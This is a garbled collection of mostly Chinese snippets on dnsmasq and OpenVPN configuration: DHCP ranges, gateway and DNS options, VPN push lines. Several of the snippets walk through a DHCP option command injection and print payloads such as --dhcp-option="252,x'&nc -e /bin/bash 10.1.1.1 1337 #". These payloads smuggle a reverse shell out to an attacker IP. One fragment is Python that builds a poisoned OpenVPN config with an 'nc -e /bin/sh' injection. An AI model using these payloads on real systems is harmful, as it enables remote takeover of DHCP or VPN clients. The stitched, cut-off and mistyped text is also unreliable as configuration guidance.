=3,192.168.1.1 # DNS dhcp-option=6,92.168.1.1, 8.8.8.8 server=8.8.4.4 # Broadcast Address dhcp-option =28,10.0.0.255 # NTP Server dhcp-option=42,0.0.0.0 pxe-prompt="Press F8 for menu dhcp-option=3,192.168.1.1 – 替换该IP地址为你的网段的网关。 dhcp-option=6,92.168.1.1 – 替换该IP地址为你的DNS服务器IP——可以定义多个IP地址。 server=8.8.4.4 – 这里放置DNS转发服务器IP地址。 dhcp-option=28,10.0.0.255 – 替换该IP地址为网络广播地址——可选项。
: bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.71.10,192.168.71.20,12h dhcp-option =3,192.168.71.5 dhcp-option=6,192.168.71.5 log-queries log-facility=/var/log/dnsmasq.log 参数解释: dhcp-range : 表示要分配给客户机的 ip 地址范围和租约时间dhcp-option: 表示指定给 DHCP 客户端的选项信息log-facility: 表示日志记录器 其中配置文件中包括的 option 取值及含义如下 dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。 0x04 命令注入 利用dnsmasq伪造dns服务器,命令执行 payload 如下: dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc
6,192.168.131.52log-querieslog-facility=/var/log/dnsmasq.log 利用dnsmasq伪造dns服务器 dnsmasq -dC dnsmasq.conf --dhcp-option –dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #” 范围 本地测试fedora28、centos7通过,而centos6,redhat5未通过(~ = '''bind-interfacesinterface=eth0except-interface=lodhcp-range={start},{end},22hdhcp-option=3,{ip}dhcp-option ip=ip)) cm.append('route add default gw {ip}'.format(ip=ip)) cm.append('''dnsmasq -dC dnsmasq.conf --dhcp-option
key server.key dh dh.pem server 10.8.0.0 255.255.255.0 push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 208.67.222.222" push "dhcp-option DNS 208.67.220.220" keepalive 10 120 comp-lzo user nobody group
使用单引号使参数值逃逸成功,导致了命令执行,payload 如下: --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #" payload 实现的效果是 dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间 dhcp-option: 表示指定给 DHCP 客户端的选项信息 log-facility: 表示日志记录器 其中配置文件中包括的 dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。 命令执行 payload 如下: dnsmasq -dC /etc/dnsmasq.conf --dhcp-option="252,x'&nc -e /bin/bash 192.168.11.1 1337
255.255.255.0 9 ifconfig-pool-persist ipp.txt 10 push "redirect-gateway def1 bypass-dhcp" 11 push "dhcp-option DNS 1.1.1.1" 12 topology subnet 13 push "dhcp-option DNS 1.0.0.1" 14 keepalive 10 120 15 comp-lzo 16
should be kept secret dh dh1024.pem server 172.16.1.0 255.255.255.0 push "redirect-gateway def1" push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 8.8.4.4" client-to-client keepalive 10 120 comp-lzo comp-noadapt
eth1,10.192.10.50,10.192.10.200,12h dhcp-range=eth2,10.192.20.50,10.192.20.200,12h dhcp-range=eth3,10.192.30.50,10.192.30.200,12h dhcp-option
dnsmasq文件 vim dnsmasq.conf interface=wlan0mon dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h dhcp-option =3, 192.168.1.1 dhcp-option=6, 192.168.1.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1
dhcp-option=option:router 指定内网设备的默认网关,即当前主路由的内网静态 IP 地址。 dhcp-option=option:dns-server 指定内网设备自动获取的 DNS 地址,通常写 dnsmasq 自身的地址,即主路由的内网静态 IP 地址,不过由于我用了透明代理,希望内网设备直接用
dhcp-range=172.16.0.100,172.16.0.200,255.255.255.0,6h #设定局域网后缀名,重要,请务必设置 domain=test.com #指定网关(路由出口) dhcp-option =3,172.16.0.1 #dhcp-option=option:router,172.16.0.1 #指定地址分发时分配给客户端的DNS,除了本地dns服务器地址,为保险起见,加了其他dns地址 dhcp-option
5.kali终端下输入:•dnsmasq-dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash192.168.0.105 4567 #"
options force all traffic through VPN and sets DNS servers push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 8.8.4.4" # Logging log-append /var/log/openvpn.log verb 3 启动服务端并让其开机自动启动
redirect-gateway def1 bypass-dhcp" #这行手动复制添加,指定网段流量访问才走vpn push "route 192.168.1.0 255.255.255.0" push "dhcp-option DNS 208.67.222.222" push "dhcp-option DNS 208.67.220.220" tls-auth "C:\\Program Files\\OpenVPN\\easy-rsa
10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 208.67.220.220" keepalive 10 120 tls-auth ta.key 0 # This file is
-client-cert-dir /home/kali/ca[+] Server config generated: /tmp/tmp4j3k9f0q.conf[+] Poison payload: dhcp-option injection = f"; nc -e /bin/sh {self.server_ip} 4444 #" conf_content = f"""port 1194...push "dhcp-option (fd, 'w') as f: f.write(conf_content) return conf_path功能:创建一个临时的OpenVPN服务器配置文件,其中在dhcp-option
# 例如设置网关参数,既可以使用 dhcp-option=3,192.168.4.4 也可以使用 dhcp-option = option:router,192.168.4.4。 #dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],] =3,1.2.3.4 #dhcp-option=option:router,1.2.3.4 #dhcp-option=option:router,192.168.10.254 #dhcp-option # 一般情况下 dnsmasq 从 dhcp-boot 移出启动服务器和文件信息到 dhcp-option 选项中。 # 这使得在 dhcp-option 选项封包中有额外的选项空间可用,但是会使老的客户端混淆。 # 此选项将强制使用简单并安全的方式来避免此类情况。可以认为是一个兼容性选项。
google.com/8.8.8.8 listen-address=127.0.0.1,192.168.11.1 dhcp-range=192.168.11.50,192.168.11.150,12h dhcp-option =3,192.168.11.1 dhcp-option=6,192.168.11.1 cache-size=1024 conf-dir=/etc/dnsmasq.d 3.3 使用命令vi /etc/resolv.dnsmasq.conf
255.255.255.0" # Push操作,适用于在客户端连接上vpn,给客户端路由表添加路由; push "redirect-gateway def1 bypass-dhcp" # 设置所有的流量走vpn push "dhcp-option DNS 223.5.5.5" push "dhcp-option DNS 223.6.6.6" client-to-client keepalive 20 120 comp-lzo #duplicate-cn
# 下面 DHCP 相关,domain 字段上面 DNS 配置会使用到 domain=mydomain.org dhcp-range=192.168.1.100,192.168.1.200,24h dhcp-option